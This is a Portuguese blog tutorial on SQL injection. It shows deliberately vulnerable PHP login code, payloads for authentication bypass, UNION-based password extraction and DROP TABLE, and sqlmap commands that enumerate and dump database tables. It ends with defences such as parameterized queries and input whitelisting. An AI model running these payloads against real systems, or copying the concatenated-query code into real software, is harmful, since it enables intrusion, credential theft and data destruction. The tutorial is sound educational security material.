O que é isso?
SQL Injection é um tipo de exploração de injeção
em consultas de bancos de dados SQL.
Vulnerabilidades de injeção é basicamente injetar
código malicioso em uma entrada do sistema,
com o intuito de causar um comportamento indesejado.
As vulnerabilidades de injeção são frequentemente encontradas em:
- Consultas SQL (Structured Query Language)
- Consultas LDAP (Lightweight Directory Access Protocol)
- XPath (XML Path Language)
- NoSQL (NotSQL)
- Comandos do sistema operacional (linux, windows, etc...)
- Analisadores XML
- Cabeçalhos SMTP (Simple Mail Transfer Protocol)
- RegEx (Expressões regulares)
- JSON (JavaScript Object Notation)
- Consultas ORM (Object-relational mapping)
- Navegação OGNL (Object-Graph Navigation Language)
Mas vamos focar apenas em Injeção de SQL.
SQL_Injection, enfim
SQL_Injection em tradução livre é Injeção de SQL,
seu nome expressa muito bem a ideia a ideia da técnica,
Injetar comandos de banco de dados não desejados em uma consulta SQL.
O primeiro relado dessa técnica foi feito no ano de 1998
em um artigo na Phrack Magazine.
As falhas de injeção são muito comuns,
principalmente em código legado e em sistemas mais amadores.
Quase qualquer fonte de dados pode ser um vetor de injeção de sql,
variáveis de ambiente, parâmetros, serviços da Web externos e internos e todos
os tipos de usuários.
As falhas de injeção, hoje são fáceis de descobrir ao examinar o código fonte,
Veremos exemplos a seguir...
Scanners e fuzzers podem ajudar desenvolvedores e invasores a encontrar
falhas de injeção.
A injeção pode resultar em perda de dados, corrupção ou divulgação para partes
não autorizadas, perda de responsabilidade ou negação de acesso.
A injeção às vezes pode levar à aquisição completa do host.
O impacto nos negócios depende das necessidades do aplicativo e dos dados.
O que me deixaria vulnerável?
Uma aplicação é vulnerável a este ataque quando:
Os dados fornecidos pelo usuário não são sanitizados, ou seja,
não são validados, filtrados ou higienizados pela aplicação.Consultas dinâmicas ou chamadas não parametrizadas sem escape ciente do
contexto são usadas diretamente no interpretador.Dados hostis são usados em parâmetros de pesquisa de mapeamento relacional de
objeto (ORM) para extrair registros confidenciais adicionais.Os dados hostis são usados diretamente ou concatenados, de forma que o SQL ou
o comando contenha a estrutura e os dados hostis em consultas dinâmicas,
comandos ou procedimentos armazenados.
A revisão do código-fonte é o
melhor método para detectar se os aplicativos são vulneráveis a injeções,
seguida de perto por testes automatizados completos de todos os parâmetros,
cabeçalhos, URL, cookies, JSON, SOAP e entradas de dados XML.
As organizações podem incluir ferramentas de fonte estática (SAST) e teste de
aplicativo dinâmico (DAST) no pipeline de CI / CD para identificar falhas de
injeção recém-introduzidas antes da implantação de produção.
Entendendo o SQL Injection
Servidor
Vamos imaginar um sistema hospedado em teste.com,
esse sistema quando passado o ID, mostra o nome do usuário.
Para chamar, podemos fazer assim:
teste.com?id=10
Podemos imaginar nosso backend da seguinte forma:
// ...
$userId = $_GET['id'];
$sql = "SELECT NAME FROM USERS WHERE ID = '$id' ORDER BY NAME; ";
$user = $conn->query($sql);
echo "Nome do usuário: " . $user["name"] . "<br>";
// ...
O que nos interessa é o SQL montado, ele seria assim:
SELECT NAME FROM USERS WHERE ID = '10' ORDER BY NAME;
O vilão ';--
Agora é hora de conhecer o vilão ';--
Ele é formado por alguns comandos de SQL bem legais, são eles:
'
Aspa, ela simboliza abertura e fechamento de string em SQL,
no nosso caso seria o fechamento.;
Simboliza o fim de uma consulta sql, similar a outras linguagens de
programação.--
simboliza comentário de linha, similar ao//
de outras linguagens,
aqui ele tem a função de anular o restante do sql.
Bora rodar o bandião:
teste.com?id=';--
Reparem que nosso SQL se transformou, zeramos o ID, e anulamos o resto da
consulta
SELECT NAME FROM USERS WHERE ID = '';--' ORDER BY NAME;
Bora fazer maldade
Vamos nos aproveitar dessa vulnerabilidade e dominar a consulta.
Podemos anular a consulta, e unirmos uma nova consulta UNION
Nesse caso teríamos um problema, o servidor sempre retorna só o campo NAME
Então faremos nossa consulta e renomearemos o resultado para NAME AS NAME
teste.com?id=' UNION SELECT PASSWORD AS NAME FROM USERS ;--
SELECT NAME FROM USERS WHERE ID = '' UNION SELECT PASSWORD AS NAME FROM USERS --' ORDER BY NAME;
By-Pass
Uma outra técnica legal que pode ser aplicada é o by-pass.
Ele consiste em "Pular" alguma parte do processo.
Para entender melhor, vamos imaginar um servidor com o papel de controlar o
login de um usuário
ele recebe EMAIL e SENHA
// ...
$email = $_POST['email']; // Recebe email
$senha = $_POST['senha']; // Recebe senha
// Monta o sql
$sql = "SELECT nome FROM USERS WHERE email='$email' and senha='$senha'; ";
$user = $conn->query($sql); // Consulta o sql no banco
// Se existir o usuário com a senha
if ($user[0]){
// Da boas vindas
echo "Bem vindo {$user[0]['nome']}!";
}
// Se não existir
else {
// Notifica o usuário
echo "Email ou senha incorretos";
}
// ...
Então se enviarmos o seguinte usuário e senha
// POST teste.com/login
{
"email": "teste@teste.com",
"senha": "Password"
}
Teremos o seguinte sql gerado
SELECT nome FROM USERS WHERE email='teste@teste.com' and senha='Password';
Bora fazer o bypass
A primeira forma que gostaria de apresentar é a ""="" is Always True
,
ou seja, vazio é igual a vazio sempre, seu script é esse: ' or ''='
,
bora enviar:
// POST teste.com/login
{
"email": "' or ''='",
"senha": "' or ''='"
}
A query gerada será a seguinte
SELECT nome FROM USERS WHERE email='' or ''='' and senha='' or ''='';
Entender o que esta rolando é um pouco complicado, mas o resultado é muito
eficiente pois aproveita muito bem as aspas do script original.
Vamos analisar essa parte email='' or ''=''
Ela sempre sera verdadeira por uma questão booleana,
email é igual a vazio ou vazio é igual a vazio?
Vazio é igual a vazio sempre!
O mesmo se aplica a senha...
Mas essa tecnica tem um problema, muitas vezes a senha é criptografada,
nesses casos perderíamos a comparação,
SELECT nome FROM USERS WHERE email='' or ''='' and senha='698dc19d489c4e4';
Não funcionaria...
Mas não desanime, tenho a solução perfeita para esses casos,
pular a validação de senha, bora ver a seguir.
Outra forma de fazer um bypass muito eficiente é ignorando a senha.
Para isso, anularemos a query, tornaremos ela verdadeira e ignoraremos a senha,
Mas vamos por partes, envenenaremos o campo de email:
-
'
Fecha a string de email -
OR 1=1
a condição anterior, que será anulada, ou 1=1, que sempre será verdade -
;--
ignora o resto da query, no caso a parte de validação de senha
Teremos o seguinte resultado, simples e elegante.
' or 1=1; --
Vamos enviar e ver o que acontece:
// POST teste.com/login
{
"email": "' or 1=1;--",
"senha": "NaoPrecisoDeSenha"
}
A query gerada será a seguinte
SELECT nome FROM USERS WHERE email='' or 1=1;--' and senha='NaoPrecisoDeSenha';
Um efeito colateral interessante é que não especificamos qual usuário queremos,
então o banco retorna o primeiro usuário cadastrado, que muitas vezes é o adm...
Mas podemos forçar o adm também passando mais parâmetros no lugar do 1=1
Destruído um banco de dados
Mas o pior ainda está por vir, injeção de sql pode rodar qualquer coisa no banco
inclusive drop tables, causando assim danos ao sistema, perca de dados,
podendo ser até mesmo irreparáveis caso não exista um backup
teste.com?id='; DROP TABLE USERS; --
// POST teste.com/login
{
"email": "'; DROP TABLE USERS; --",
"senha": "NuncaMais"
}
SELECT nome FROM USERS WHERE email=''; DROP TABLE USERS; --' and senha='NuncaMais';
SQLMAP
` ___
` __H__
` ___ ___[']_____ ___ ___ {1.6.7#stable}
` |_ -| . [,] | .'| . |
` |___|_ [)]_|_|_|__,| _|
` |_|V… |_| http://sqlmap.org
sqlmap basicamente é uma ferramenta de exploração de vulnerabilidades de sql
Descobrindo se um paramento é injetável
Vamos iniciar chamando o sqlmap
na sequencia a url para ser explorada, --url teste.com
e por fim, devemos passar o parâmetro de injeção representado pelo numero 1
?id=1
Juntando tudo fica:
sqlmap --url 'teste.com?id=1'
Se for possível injetar, veremos
GET parameter 'id' appears to be 'MySQL' injectable
Se não for possível, veremos
All tested parameters do not appear to be injectable
Listando os bancos de dados
Agora começa a parte braba, vamos listar quais os bancos de dados,
para isso adicionamos um --dbs
Lista os bancos
sqlmap --url 'teste.com?id=1' --dbs
Listando as tabelas
Lista as tabelas
sqlmap --url 'teste.com?id=1' -D banco --tables
Lista as colunas
Lista as colunas
sqlmap --url 'teste.com?id=1' -D banco -T tabela --columns
Dump
Mostra o conteúdo da tabela
sqlmap --url 'teste.com?id=1' -D banco -T tabela -C nome,senha --dump
Oh e agora, quem poderá nos defender?
A opção preferida é usar uma API segura, que evita totalmente o uso do
interpretador ou fornece uma interface parametrizada, ou migrar para usar
Object Relational Mapping Tools (ORMs). Nota: Mesmo quando parametrizados,
os procedimentos armazenados ainda podem introduzir injeção de SQL se
PL / SQL ou T-SQL concatenar consultas e dados ou executar dados hostis com
EXECUTE IMMEDIATE ou exec ().Use validação de entrada positiva ou “whitelist” do lado do servidor.
Esta não é uma defesa completa, pois muitos aplicativos requerem caracteres
especiais, como áreas de texto ou APIs para aplicativos móveis.Para quaisquer consultas dinâmicas residuais, escape de caracteres especiais
usando a sintaxe de escape específica para esse interpretador.
Nota: Estruturas SQL, como nomes de tabelas, nomes de colunas e assim por
diante, não podem ser escapadas e, portanto, nomes de estruturas fornecidos
pelo usuário são perigosos. Este é um problema comum em software de elaboração
de relatórios.Use LIMIT e outros controles SQL em consultas para evitar divulgação em massa
de registros no caso de injeção de SQL.Não exibir logs de erro para o usuário,
logs de erros costumam expor estruturas sql,
e até mesmo partes do código fonte.
Top comments (2)
Obrigado pela aula. Aprendi muito! ';--
gracias por compartir!